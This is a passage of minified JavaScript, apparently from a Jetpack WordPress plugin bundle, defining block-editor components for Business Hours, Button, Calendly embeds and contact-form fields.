n}))})})),a()(this,"addInterval",(()=>{const{day:e,attributes:t,setAttributes:n}=this.props,{days:r}=t;e.hours.push({opening:"",closing:""}),n({days:r.map((t=>t.name===e.name?{...t,hours:e.hours}:t))})})),a()(this,"removeInterval",(e=>{const{day:t,attributes:n,setAttributes:r}=this.props,{days:a}=n;r({days:a.map((n=>t.name===n.name?{...n,hours:n.hours.filter(((t,n)=>e!==n))}:n))})}))}isClosed(){const{day:e}=this.props;return(0,d.isEmpty)(e.hours)}renderDayToggle(){const{day:e,localization:t}=this.props;return(0,o.createElement)(s.Fragment,null,(0,o.createElement)("span",{className:"business-hours__day-name"},t.days[e.name]),(0,o.createElement)(i.ToggleControl,{label:this.isClosed()?__("Closed","jetpack"):__("Open","jetpack"),checked:!this.isClosed(),onChange:this.toggleClosed}))}renderClosed(){const{day:e}=this.props;return(0,o.createElement)("div",{className:"business-hours__row business-hours-row__closed"},(0,o.createElement)("div",{className:u()(e.name,"business-hours__day")},this.renderDayToggle()),(0,o.createElement)("div",{className:u()(e.name,"closed","business-hours__hours")}," "),(0,o.createElement)("div",{className:"business-hours__remove"}," "))}render(){const{day:e}=this.props;return this.isClosed()?this.renderClosed():e.hours.map(this.renderInterval)}}t.Z=h},80190:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(69771),s=n(69307),l=n(65736),c=n(92819);const _x=l._x;class u extends s.Component{constructor(){super(...arguments),a()(this,"renderInterval",((e,t)=>{const{day:n}=this.props,r=n.hours;return(0,o.createElement)("span",{key:t},(0,l.sprintf)("%1$s - %2$s",this.formatTime(e.opening),this.formatTime(e.closing)),r.length>1+t&&(0,o.createElement)("span",null,", "))}))}formatTime(e){const{timeFormat:t}=this.props,[n,r]=e.split(":"),a=new Date;return!(!n||!r)&&(a.setHours(n),a.setMinutes(r),(0,i.date)(t,a))}render(){const{day:e,localization:t}=this.props,n=e.hours.filter((e=>this.formatTime(e.opening)&&this.formatTime(e.closing)));return(0,o.createElement)("div",{className:"jetpack-business-hours__item"},(0,o.createElement)("dt",{className:e.name},t.days[e.name]),(0,o.createElement)("dd",null,(0,c.isEmpty)(n)?_x("Closed","business is closed on a full day","jetpack"):n.map(this.renderInterval),(0,o.createElement)("br",null)))}}t.Z=u},86162:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(90017),i=n.n(o),s=n(51806),l=n(86989),c=n.n(l),u=n(55609),d=n(69771),p=n(69307),m=n(65736),h=n(65235),f=n.n(h),g=n(50756),b=n(80190),v=n(96405);const __=m.__,k={days:{Sun:__("Sunday","jetpack"),Mon:__("Monday","jetpack"),Tue:__("Tuesday","jetpack"),Wed:__("Wednesday","jetpack"),Thu:__("Thursday","jetpack"),Fri:__("Friday","jetpack"),Sat:__("Saturday","jetpack")},startOfWeek:0};class y extends p.Component{constructor(){super(...arguments),i()(this,"state",{localization:k,hasFetched:!1})}componentDidMount(){this.apiFetch()}apiFetch(){this.setState({data:k},(()=>{c()({path:"/wpcom/v2/business-hours/localized-week"}).then((e=>{this.setState({localization:e,hasFetched:!0})}),(()=>{this.setState({localization:k,hasFetched:!0})}))}))}render(){const{attributes:e,className:t,isSelected:n}=this.props,{days:r}=e,{localization:o,hasFetched:i}=this.state,{startOfWeek:l}=o,c=r.concat(r.slice(0,l)).slice(l);if(!i)return(0,s.createElement)(u.Placeholder,{icon:v.qv,label:__("Loading business hours","jetpack")});if(!n){const e=(0,d.getSettings)(),{formats:{time:n}}=e;return(0,s.createElement)("dl",{className:f()(t,"jetpack-business-hours")},c.map(((e,t)=>(0,s.createElement)(b.Z,{key:t,day:e,localization:o,timeFormat:n}))))}return(0,s.createElement)("div",{className:f()(t,"is-edit")},c.map(((e,t)=>(0,s.createElement)(g.Z,a()({key:t,day:e,localization:o},this.props)))))}}t.Z=y},60866:function(e,t,n){"use strict";var r=n(31985),a=n(96405);(0,r.Z)(a.u2,a.Xd)},96405:function(e,t,n){"use strict";n.d(t,{Xd:function(){return p},qv:function(){return d},u2:function(){return u}});var r=n(51806),a=n(55609),o=n(65736),i=n(70355),s=n(36598),l=n(86162);const __=o.__,_x=o._x,c=[{name:"Sun",hours:[]},{name:"Mon",hours:[{opening:"09:00",closing:"17:00"}]},{name:"Tue",hours:[{opening:"09:00",closing:"17:00"}]},{name:"Wed",hours:[{opening:"09:00",closing:"17:00"}]},{name:"Thu",hours:[{opening:"09:00",closing:"17:00"}]},{name:"Fri",hours:[{opening:"09:00",closing:"17:00"}]},{name:"Sat",hours:[]}],u="business-hours",d=(0,s.Z)((0,r.createElement)(a.Path,{d:"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8zm.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z"})),p={title:__("Business Hours","jetpack"),description:__("Display opening hours for your business.","jetpack"),icon:{src:d,foreground:(0,i.m)()},category:"grow",supports:{html:!0,color:{gradients:!0},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0},align:["wide","full"]},keywords:[_x("opening hours","block search term","jetpack"),_x("closing time","block search term","jetpack"),_x("schedule","block search term","jetpack"),_x("working day","block search term","jetpack")],attributes:{days:{type:"array",default:c}},edit:e=>(0,r.createElement)(l.Z,e),save:()=>null,example:{attributes:{days:c}}}},98625:function(e,t,n){"use strict";var r=n(55609),a=n(92819);const o=(0,r.withFallbackStyles)(((e,t)=>{const{backgroundColor:n,textColor:r}=t,o=(0,a.get)(n,"color"),i=!(0,a.get)(r,"color")&&e?e.querySelector('[contenteditable="true"]'):null;return{fallbackBackgroundColor:o||!e?void 0:getComputedStyle(e).backgroundColor,fallbackTextColor:r||!i?void 0:getComputedStyle(i).color}}));t.Z=o},70424:function(e,t,n){"use strict";var r=n(24381);t.Z={element:{type:"string",enum:["a","button","input"]},saveInPostContent:{type:"boolean",default:!1},uniqueId:{type:"string"},passthroughAttributes:{type:"object"},text:{type:"string"},placeholder:{type:"string"},url:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string",validator:r.Z},backgroundColor:{type:"string"},customBackgroundColor:{type:"string",validator:r.Z},gradient:{type:"string"},customGradient:{type:"string"},borderRadius:{type:"number"},width:{type:"string"}}},43043:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(90446);const __=i.__;function l(e){let{borderRadius:t="",setAttributes:n}=e;const i=(0,o.useCallback)((e=>n({borderRadius:e})),[n]);return(0,r.createElement)(a.PanelBody,{title:__("Border Settings","jetpack")},(0,r.createElement)(a.RangeControl,{allowReset:!0,initialPosition:s.pg,label:__("Border radius","jetpack"),max:s.Gp,min:s.G0,onChange:i,value:t}))}},36953:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(52175),o=n(65736);const __=o.__;function i(e){let{isGradientAvailable:t,backgroundColor:n,fallbackBackgroundColor:o,fallbackTextColor:i,gradientValue:s,setBackgroundColor:l,setGradient:c,setTextColor:u,textColor:d}=e;const p=(0,r.createElement)(a.ContrastChecker,{backgroundColor:n.color,fallbackBackgroundColor:o,fallbackTextColor:i,isLargeText:!1,textColor:d.color});return t?(0,r.createElement)(a.__experimentalPanelColorGradientSettings,{settings:[{colorValue:d.color,label:__("Text Color","jetpack"),onColorChange:u},{colorValue:n.color,gradientValue:s,label:__("Background","jetpack"),onColorChange:l,onGradientChange:c}],title:__("Background & Text Color","jetpack")},p):(0,r.createElement)(a.PanelColorSettings,{colorSettings:[{value:d.color,onChange:u,label:__("Text Color","jetpack")},{value:n.color,onChange:l,label:__("Background","jetpack")}],title:__("Background & Text Color","jetpack")},p)}},90446:function(e,t,n){"use strict";n.d(t,{DA:function(){return a},G0:function(){return s},Gp:function(){return i},pg:function(){return o}});var r=n(52175);const a=!!r.__experimentalUseGradient,o=5,i=50,s=0},29343:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(9818),o=n(30429),i=n(43043),s=n(36953);function l(e){let{attributes:t,backgroundColor:n,clientId:l,context:c,fallbackBackgroundColor:u,fallbackTextColor:d,setAttributes:p,setBackgroundColor:m,setTextColor:h,textColor:f,gradientValue:g,setGradient:b,isGradientAvailable:v}=e;const{align:k,borderRadius:y}=t,E="jetpack/parentBlockWidth"in c,w=E?c["jetpack/parentBlockWidth"]:t.width,_=(0,a.useSelect)((e=>{const{getBlock:t,getBlockRootClientId:n}=e("core/block-editor");return t(n(l))})),{updateBlockAttributes:C}=(0,a.useDispatch)("core/block-editor");return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(s.Z,{backgroundColor:n,fallbackBackgroundColor:u,fallbackTextColor:d,gradientValue:g,setBackgroundColor:m,setGradient:b,setTextColor:h,textColor:f,isGradientAvailable:v}),(0,r.createElement)(i.Z,{borderRadius:y,setAttributes:p}),(0,r.createElement)(o.G,{align:k,width:w,onChange:e=>{E?C(_.clientId,{width:e}):p({width:e})}}))}},5501:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(52175),s=n(94333),l=n(65736),c=n(65235),u=n.n(c),d=n(81673),p=n(98625),m=n(90446),h=n(29343),f=n(16969);const __=l.__;t.Z=(0,s.compose)((0,i.withColors)({backgroundColor:"background-color"},{textColor:"color"}),p.Z)((function(e){const{attributes:t,backgroundColor:n,className:r,clientId:s,context:l,setAttributes:c,textColor:p}=e,{borderRadius:g,element:b,placeholder:v,text:k,width:y,fontSize:E}=t,w="jetpack/parentBlockWidth"in l;(0,f.Z)({attributes:t,clientId:s,setAttributes:c}),(0,d.Z)({attributes:t,disableEffects:w,setAttributes:c});const{gradientClass:_,gradientValue:C,setGradient:S}=m.DA?(0,i.__experimentalUseGradient)({gradientAttribute:"gradient",customGradientAttribute:"customGradient"}):{},j=u()("wp-block-button",r),x=u()("wp-block-button__link",{"has-background":n.color||C,[n.class]:!C&&n.class,"has-text-color":p.color,[p.class]:p.class,[_]:_,"no-border-radius":0===g,"has-custom-width":!!y,[`has-${E}-font-size`]:!!E,"has-custom-font-size":!!E}),P={...!n.color&&C?{background:C}:{backgroundColor:n.color},fontSize:t.style?.typography?.fontSize,color:p.color,borderRadius:g?g+"px":void 0,width:y};return(0,o.createElement)("div",{className:j},(0,o.createElement)(i.RichText,{allowedFormats:"input"===b?[]:void 0,className:x,disableLineBreaks:"input"===b,onChange:e=>c({text:e}),placeholder:v||__("Add text…","jetpack"),style:P,value:k,withoutInteractiveFormatting:!0}),(0,o.createElement)(i.InspectorControls,null,(0,o.createElement)(h.Z,a()({gradientValue:C,setGradient:S,isGradientAvailable:m.DA},e))))}))},48887:function(e,t,n){"use strict";var r=n(31985),a=n(77123);(0,r.Z)(a.u,a.X)},26361:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M19 6.5H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v7zM8 13h8v-1.5H8V13z"}))},77123:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(65736),a=n(5820),o=n(70424),i=n(5501),s=n(26361),l=n(29586);const __=r.__,c="button",u={title:__("Button","jetpack"),icon:s.Z,category:(0,a.Z)("design","layout"),keywords:[],supports:{html:!1,inserter:!1,align:["left","center","right"],typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}}},styles:[{name:"fill",label:__("Fill","jetpack"),isDefault:!0},{name:"outline",label:__("Outline","jetpack")}],attributes:o.Z,edit:i.Z,save:l.Z,usesContext:["jetpack/parentBlockWidth"]}},29586:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(90446);function l(e){let{attributes:t,blockName:n,uniqueId:o}=e;const{backgroundColor:l,borderRadius:c,className:u,customBackgroundColor:d,customGradient:p,customTextColor:m,gradient:h,saveInPostContent:f,text:g,textColor:b,url:v,width:k,fontSize:y}=t;if(!f)return null;const E=(0,a.getColorClassName)("background-color",l),w=s.DA?(0,a.__experimentalGetGradientClass)(h):void 0,_=(0,a.getColorClassName)("color",b),C=i()("wp-block-button","jetpack-submit-button",u,{[`wp-block-jetpack-${n}`]:n}),S=i()("wp-block-button__link",{"has-text-color":b||m,[_]:_,"has-background":l||h||d||p,[E]:E,[w]:w,"no-border-radius":0===c,"has-custom-width":!!k,[`has-${y}-font-size`]:!!y,"has-custom-font-size":!!y}),j={background:p||void 0,backgroundColor:E||p||h?void 0:d,fontSize:t.style?.typography?.fontSize,color:_?void 0:m,borderRadius:c?c+"px":void 0,width:k};return(0,r.createElement)("div",{className:C},(0,r.createElement)(a.RichText.Content,{className:S,"data-id-attr":o||"placeholder",href:v,id:o,rel:"noopener noreferrer",role:"button",style:j,tagName:"a",target:"_blank",value:g}))}},16969:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(9818),a=n(69307),o=n(92819);function i(e){let{attributes:t,clientId:n,setAttributes:i}=e;const{passthroughAttributes:s}=t,{attributesToSync:l}=(0,r.useSelect)((e=>{const{getBlockAttributes:r,getBlockRootClientId:a}=e("core/block-editor"),i=r(a(n))||{},l=(0,o.mapValues)(s,(e=>i[e]));return{attributesToSync:(0,o.pickBy)(l,((e,n)=>e!==t[n]))}}));(0,a.useEffect)((()=>{(0,o.isEmpty)(l)||i(l)}),[l,i])}},81340:function(e,t,n){"use strict";var r=n(24381);t.Z={backgroundColor:{type:"string",default:"ffffff",validator:r.Z},hideEventTypeDetails:{type:"boolean",default:!1},primaryColor:{type:"string",default:"00A2FF",validator:r.Z},textColor:{type:"string",default:"4D5055",validator:r.Z},style:{type:"string",default:"inline",validValues:["inline","link"]},url:{type:"string",validator:e=>!e||e.startsWith("https://calendly.com/")}}},60153:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(55609),s=n(65736),l=n(57538);const __=s.__,_x=s._x,c=e=>{let{onEditClick:t}=e;return(0,r.createElement)(i.ToolbarGroup,null,(0,r.createElement)(i.ToolbarButton,{onClick:()=>t(!0)},__("Edit","jetpack")))},u=e=>{const{attributes:{hideEventTypeDetails:t,url:n},defaultClassName:o,embedCode:s,parseEmbedCode:l,setAttributes:c,setEmbedCode:u}=e;let d=null;return n&&(d=(0,a.Ug)()||(0,a.Wp)()?"https://wordpress.com/support/wordpress-editor/blocks/calendly-block/#customize-the-calendly-block":"https://jetpack.com/support/jetpack-blocks/calendly-block/#customizing-a-calendly-block"),(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.PanelBody,{PanelBody:!0,title:__("Calendar settings","jetpack"),initialOpen:!1},(0,r.createElement)("form",{onSubmit:l,className:`${o}-embed-form-sidebar`},(0,r.createElement)("input",{type:"text",id:"embedCode",onChange:e=>u(e.target.value),placeholder:__("Calendly web address or embed code…","jetpack"),value:s||"",className:"components-placeholder__input"}),(0,r.createElement)("div",null,(0,r.createElement)(i.Button,{variant:"secondary",type:"submit"},_x("Embed","button label","jetpack")))),(0,r.createElement)(i.ToggleControl,{label:__("Hide event type details","jetpack"),checked:t,onChange:()=>c({hideEventTypeDetails:!t})})),d&&(0,r.createElement)(i.Notice,{className:`${o}-color-notice`,isDismissible:!1},(0,r.createElement)(i.ExternalLink,{href:d},__("Explore more customization options.","jetpack"))))};t.ZP=e=>{const{attributes:t,clientId:n,isEditingUrl:a,setAttributes:i,setIsEditingUrl:s}=e,{style:d,url:p}=t,m=[{value:"inline",label:__("Inline","jetpack")},{value:"link",label:__("Link","jetpack")}];return(0,r.createElement)(r.Fragment,null,p&&!a&&(0,r.createElement)(o.BlockControls,null,(0,r.createElement)(c,{onEditClick:s})),p&&(0,r.createElement)(l.Z,{clientId:n,styleOptions:m,onSelectStyle:i,activeStyle:d,attributes:t,viewportWidth:500}),(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(u,e)))}},83830:function(e,t,n){"use strict";var r=n(51806),a=n(4981),o=n(65736),i=n(24381);const __=o.__;t.Z={attributes:{backgroundColor:{type:"string",default:"ffffff",validator:i.Z},submitButtonText:{type:"string",default:__("Schedule time with me","jetpack")},submitButtonTextColor:{type:"string"},submitButtonBackgroundColor:{type:"string"},submitButtonClasses:{type:"string"},hideEventTypeDetails:{type:"boolean",default:!1},primaryColor:{type:"string",default:"00A2FF",validator:i.Z},textColor:{type:"string",default:"4D5055",validator:i.Z},style:{type:"string",default:"inline",validValues:["inline","link"]},url:{type:"string",validator:e=>!e||e.startsWith("https://calendly.com/")},backgroundButtonColor:{type:"string"},textButtonColor:{type:"string"},customBackgroundButtonColor:{type:"string",validator:i.Z},customTextButtonColor:{type:"string",validator:i.Z}},migrate:e=>{const{submitButtonText:t,submitButtonTextColor:n,submitButtonBackgroundColor:r,submitButtonClasses:o,backgroundButtonColor:i,textButtonColor:s,customBackgroundButtonColor:l,customTextButtonColor:c,...u}=e,d={text:(p=e).submitButtonText||__("Schedule time with me","jetpack"),textColor:p.submitButtonTextColor||p.textButtonColor,customTextColor:p.customTextButtonColor,backgroundColor:p.submitButtonBackgroundColor||p.backgroundButtonColor,customBackgroundColor:p.customBackgroundButtonColor,url:p.url};var p;return[u,[(0,a.createBlock)("jetpack/button",{element:"a",uniqueId:"calendly-widget-id",...d})]]},save:e=>{let{attributes:{url:t}}=e;return(0,r.createElement)("a",{href:t},t)}}},29415:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(52175),s=n(4981),l=n(55609),c=n(9818),u=n(69307),d=n(65736),p=n(92819),m=n(4554),h=n(23621),f=n(81340),g=n(60153),b=n(70176),v=n(4867),k=n(50785);const __=d.__,_x=d._x;t.Z=(0,l.withNotices)((function(e){const{attributes:t,className:n,clientId:r,name:d,noticeOperations:y,noticeUI:E,setAttributes:w}=e,_=(0,s.getBlockDefaultClassName)(d),C=(0,m.S)(f.Z,t);(0,p.isEqual)(C,t)||w(C);const{backgroundColor:S,hideEventTypeDetails:j,primaryColor:x,textColor:P,style:L,url:T}=C,[N,A]=(0,u.useState)(T),[R,I]=(0,u.useState)(!1),[M,B]=(0,u.useState)(!1),[Z,F]=(0,u.useState)({}),D=()=>{y.removeAllNotices(),y.createErrorNotice(__("Your calendar couldn't be embedded. Please double check your URL or code.","jetpack"))};(0,u.useEffect)((()=>{T&&k.lR!==T&&"link"!==L&&(0,h.Z)(T,B).catch((()=>{w({url:void 0}),D()}))}),[]);const O=e=>{if(!e)return void D();e.preventDefault();const t=(0,v.CC)(N);if(t){if(t.buttonAttributes&&"link"===t.style){const e=(0,c.select)("core/editor").getBlocksByClientId(r);e.length&&e[0].innerBlocks.forEach((e=>{(0,c.dispatch)("core/editor").updateBlockAttributes(e.clientId,t.buttonAttributes)})),F(t.buttonAttributes)}(0,h.Z)(t.url,B).then((()=>{const e=(0,m.S)(f.Z,t);w(e),I(!1),y.removeAllNotices()})).catch((()=>{w({url:void 0}),D()}))}else D()},z=(0,o.createElement)("div",{className:"wp-block-embed is-loading"},(0,o.createElement)(l.Spinner,null),(0,o.createElement)("p",null,__("Embedding…","jetpack"))),U=(0,o.createElement)(l.Placeholder,{label:__("Calendly","jetpack"),instructions:__("Enter your Calendly web address or embed code below.","jetpack"),icon:b.Z,notices:E},(0,o.createElement)("form",{onSubmit:O},(0,o.createElement)("input",{type:"text",id:"embedCode",onChange:e=>A(e.target.value),placeholder:__("Calendly web address or embed code…","jetpack"),value:N||"",className:"components-placeholder__input"}),(0,o.createElement)("div",null,(0,o.createElement)(l.Button,{variant:"secondary",type:"submit"},_x("Embed","button label","jetpack")))),(0,o.createElement)("div",{className:`${_}-learn-more`},(0,o.createElement)(l.ExternalLink,{href:"https://help.calendly.com/hc/en-us/articles/223147027-Embed-options-overview"},__("Need help finding your embed code?","jetpack")))),$=(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:`${_}-overlay`}),(0,o.createElement)("iframe",{src:(()=>{const e=new URLSearchParams({embed_domain:"wordpress.com",embed_type:"Inline",hide_event_type_details:j?1:0,background_color:S,primary_color:x,text_color:P});return`${T}?${e}`})(),width:"100%",height:"100%",frameBorder:"0","data-origwidth":"100%","data-origheight":"100%",title:"Calendly"})),H=(0,o.createElement)(i.InnerBlocks,{template:[[k.Ss.name,{...k.Ss.attributes,...Z,passthroughAttributes:{url:"url"}}]],templateLock:"all"});if(M)return z;let V=n;return T&&!R&&(V+=` calendly-style-${L}`),(0,o.createElement)("div",{className:V},(0,o.createElement)(g.ZP,a()({},e,{defaultClassName:_,embedCode:N,isEditingUrl:R,parseEmbedCode:O,setEmbedCode:A,setIsEditingUrl:I})),T&&!R?"inline"===L?$:H:U)}))},52020:function(e,t,n){"use strict";var r=n(31985),a=n(50785);(0,r.Z)(a.u2,a.Xd)},70176:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{height:"24",viewBox:"0 0 23 24",width:"23",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M19,1h-2.3v0c0-0.6-0.4-1-1-1c-0.6,0-1,0.4-1,1v0H8.6v0c0-0.6-0.4-1-1-1c-0.6,0-1,0.4-1,1v0H4C1.8,1,0,2.8,0,5 v15c0,2.2,1.8,4,4,4h15c2.2,0,4-1.8,4-4V5C23,2.8,21.2,1,19,1z M21,20c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V5c0-1.1,0.9-2,2-2h2.6 v0.8c0,0.6,0.4,1,1,1c0.6,0,1-0.4,1-1V3h6.1v0.8c0,0.6,0.4,1,1,1c0.6,0,1-0.4,1-1V3H19c1.1,0,2,0.9,2,2V20z M13.9,14.8l1.4,1.4 c-0.9,0.9-2.1,1.3-3.5,1.3c-2.4,0-4.5-2.1-4.5-4.7s2.1-4.7,4.5-4.7c1.4,0,2.5,0.4,3.4,1.1L14,10.9c-0.5-0.4-1.2-0.6-2.1-0.6 c-1.2,0-2.5,1.1-2.5,2.7c0,1.6,1.3,2.7,2.5,2.7C12.7,15.5,13.4,15.3,13.9,14.8z"}))},50785:function(e,t,n){"use strict";n.d(t,{Ss:function(){return m},Xd:function(){return f},lR:function(){return p},u2:function(){return h}});var r=n(4981),a=n(65736),o=n(70355),i=n(81340),s=n(83830),l=n(29415),c=n(70176),u=n(15816),d=n(4867);const __=a.__,_x=a._x,p="https://calendly.com/wpcom/jetpack-block-example",m={name:"jetpack/button",attributes:{element:"a",text:__("Schedule time with me","jetpack"),uniqueId:"calendly-widget-id",url:p}},h="calendly",f={title:__("Calendly","jetpack"),description:__("Embed a calendar for customers to schedule appointments","jetpack"),icon:{src:c.Z,foreground:(0,o.m)()},category:"grow",keywords:[_x("calendar","block search term","jetpack"),_x("schedule","block search term","jetpack"),_x("appointments","block search term","jetpack"),_x("events","block search term","jetpack"),_x("dates","block search term","jetpack")],supports:{align:!0,alignWide:!1,html:!1},edit:l.Z,save:u.Z,attributes:i.Z,example:{attributes:{hideEventTypeDetails:!1,style:"inline",url:p},innerBlocks:[m]},transforms:{from:[{type:"raw",isMatch:e=>"P"===e.nodeName&&d.mL.test(e.textContent),transform:e=>{const t=(0,d.CC)(e.textContent);return(0,r.createBlock)("jetpack/calendly",t)}}]},deprecated:[s.Z]}},15816:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){return(0,r.createElement)("div",null,(0,r.createElement)(a.InnerBlocks.Content,null))}},4867:function(e,t,n){"use strict";n.d(t,{CC:function(){return a},mL:function(){return r}});const r=/(^|\/\/)(calendly\.com[^"']*)/i,a=e=>{if(!e)return;const t=(e=>{const t=e.match(r);if(t)return"https://"+t[2]})(e);if(!t)return;const n=(e=>{const t={},n=new URL(e);if(t.url=n.origin+n.pathname,!n.search)return t;const r=new URLSearchParams(n.search),a=r.get("background_color"),o=r.get("primary_color"),i=r.get("text_color"),s=/^[A-Za-z0-9]{6}$/;return r.get("hide_event_type_details")&&(t.hideEventTypeDetails=r.get("hide_event_type_details")),a&&a.match(s)&&(t.backgroundColor=a),o&&o.match(s)&&(t.primaryColor=o),i&&i.match(s)&&(t.textColor=i),t})(t),a=(e=>e.indexOf("data-url")>0?"inline":e.indexOf("initPopupWidget")>0||e.indexOf("initBadgeWidget")>0?"link":void 0)(e);if(a&&(n.style=a),"link"===a){n.buttonAttributes={};const t=(e=>{let t=e.match(/false;">([^<]+)<\//);return t?t[1]:(t=e.match(/text: '([^']*?)'/),t?t[1]:void 0)})(e);t&&(n.buttonAttributes.text=t);const r=(e=>{const t=e.match(/textColor: '([^']*?)'/);if(t)return t[1]})(e);r&&(n.buttonAttributes.textColor=void 0,n.buttonAttributes.customTextColor=r);const a=(e=>{const t=e.match(/color: '([^']*?)'/);if(t)return t[1]})(e);a&&(n.buttonAttributes.backgroundColor=void 0,n.buttonAttributes.customBackgroundColor=a)}return n}},99837:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subject:{type:"string"},to:{type:"string"},customThankyou:{type:"string",default:""},customThankyouHeading:{type:"string",default:__("Your message has been sent","jetpack")},customThankyouMessage:{type:"string",default:""},customThankyouRedirect:{type:"string",default:""},jetpackCRM:{type:"boolean",default:!0},formTitle:{type:"string",default:""},salesforceData:{type:"object",default:{organizationId:"",sendToSalesforce:!1}}}},21966:function(e,t,n){"use strict";n.d(t,{N:function(){return j}});var r=n(51806),a=n(52175),o=n(4981),i=n(55609),s=n(69307),l=n(65736),c=n(92819),u=n(70355),d=n(36598),p=n(47081),m=n(55740),h=n(82150),f=n(99843),g=n(26838),b=n(6750),v=n(92158),k=n(14062);const __=l.__,_x=l._x,y={category:"contact-form",supports:{reusable:!1,html:!1},attributes:{label:{type:"string",default:null},required:{type:"boolean",default:!1},requiredText:{type:"string"},options:{type:"array",default:[]},defaultValue:{type:"string",default:""},placeholder:{type:"string",default:""},id:{type:"string",default:""},width:{type:"number",default:100},borderRadius:{type:"number",default:""},borderWidth:{type:"number",default:""},labelFontSize:{type:"string"},fieldFontSize:{type:"string"},lineHeight:{type:"number"},labelLineHeight:{type:"number"},inputColor:{type:"string"},labelColor:{type:"string"},fieldBackgroundColor:{type:"string"},borderColor:{type:"string"},shareFieldAttributes:{type:"boolean",default:!0}},transforms:{to:[{type:"block",blocks:["jetpack/field-text"],transform:e=>(0,o.createBlock)("jetpack/field-text",e)},{type:"block",blocks:["jetpack/field-name"],transform:e=>(0,o.createBlock)("jetpack/field-name",e)},{type:"block",blocks:["jetpack/field-email"],transform:e=>(0,o.createBlock)("jetpack/field-email",e)},{type:"block",blocks:["jetpack/field-url"],transform:e=>(0,o.createBlock)("jetpack/field-url",e)},{type:"block",blocks:["jetpack/field-date"],transform:e=>(0,o.createBlock)("jetpack/field-date",e)},{type:"block",blocks:["jetpack/field-telephone"],transform:e=>(0,o.createBlock)("jetpack/field-telephone",e)},{type:"block",blocks:["jetpack/field-textarea"],transform:e=>(0,o.createBlock)("jetpack/field-textarea",e)},{type:"block",blocks:["jetpack/field-checkbox-multiple"],transform:(e,t)=>{let n=[];if((0,c.isEmpty)(t))e.options?.length&&(n=(0,c.map)(e.options,(e=>(0,o.createBlock)("jetpack/field-option-checkbox",{label:e,fieldType:"checkbox"}))));else{const e=(0,c.filter)(t,(e=>{let{name:t}=e;return(0,c.startsWith)(t,"jetpack/field-option")}));n=(0,c.map)(e,(e=>(0,o.createBlock)("jetpack/field-option-checkbox",{label:e.attributes.label,fieldType:"checkbox"})))}return(0,o.createBlock)("jetpack/field-checkbox-multiple",e,n)}},{type:"block",blocks:["jetpack/field-radio"],transform:(e,t)=>{let n=[];if((0,c.isEmpty)(t))e.options?.length&&(n=(0,c.map)(e.options,(e=>(0,o.createBlock)("jetpack/field-option-radio",{label:e,fieldType:"radio"}))));else{const e=(0,c.filter)(t,(e=>{let{name:t}=e;return(0,c.startsWith)(t,"jetpack/field-option")}));n=(0,c.map)(e,(e=>(0,o.createBlock)("jetpack/field-option-radio",{label:e.attributes.label,fieldType:"radio"})))}return(0,o.createBlock)("jetpack/field-radio",e,n)}},{type:"block",blocks:["jetpack/field-select"],transform:(e,t)=>{if(!(0,c.isEmpty)(t)){const n=(0,c.filter)(t,(e=>{let{name:t}=e;return(0,c.startsWith)(t,"jetpack/field-option")}));e.options=(0,c.map)(n,(e=>e.attributes.label))}return e.options=e.options?.length?e.options:[""],(0,o.createBlock)("jetpack/field-select",e)}},{type:"block",blocks:["jetpack/field-consent"],transform:e=>(0,o.createBlock)("jetpack/field-consent",e)},{type:"block",blocks:["jetpack/field-checkbox"],transform:e=>(0,o.createBlock)("jetpack/field-checkbox",e)}]},save:()=>null,example:{}},E={category:"contact-form",edit:b.G,attributes:{label:{type:"string"},fieldType:{enum:["checkbox","radio"],default:"checkbox"}},supports:{reusable:!1,html:!1}},w=e=>({attributes:{...y.attributes,label:{type:"string",default:"checkbox"===e?"Choose several options":"Choose one option"}},migrate:t=>{const n=`jetpack/field-option-${e}`,r=(0,c.filter)(t.options,(e=>!(0,c.isEmpty)((0,c.trim)(e)))),a=(0,c.map)(r,(e=>(0,o.createBlock)(n,{label:e})));return t.options=[],[t,a]},isEligible:e=>e.options&&(0,c.filter)(e.options,(e=>!(0,c.isEmpty)((0,c.trim)(e)))).length,save:()=>null}),_=e=>{let{attributes:t,name:n}=e;return 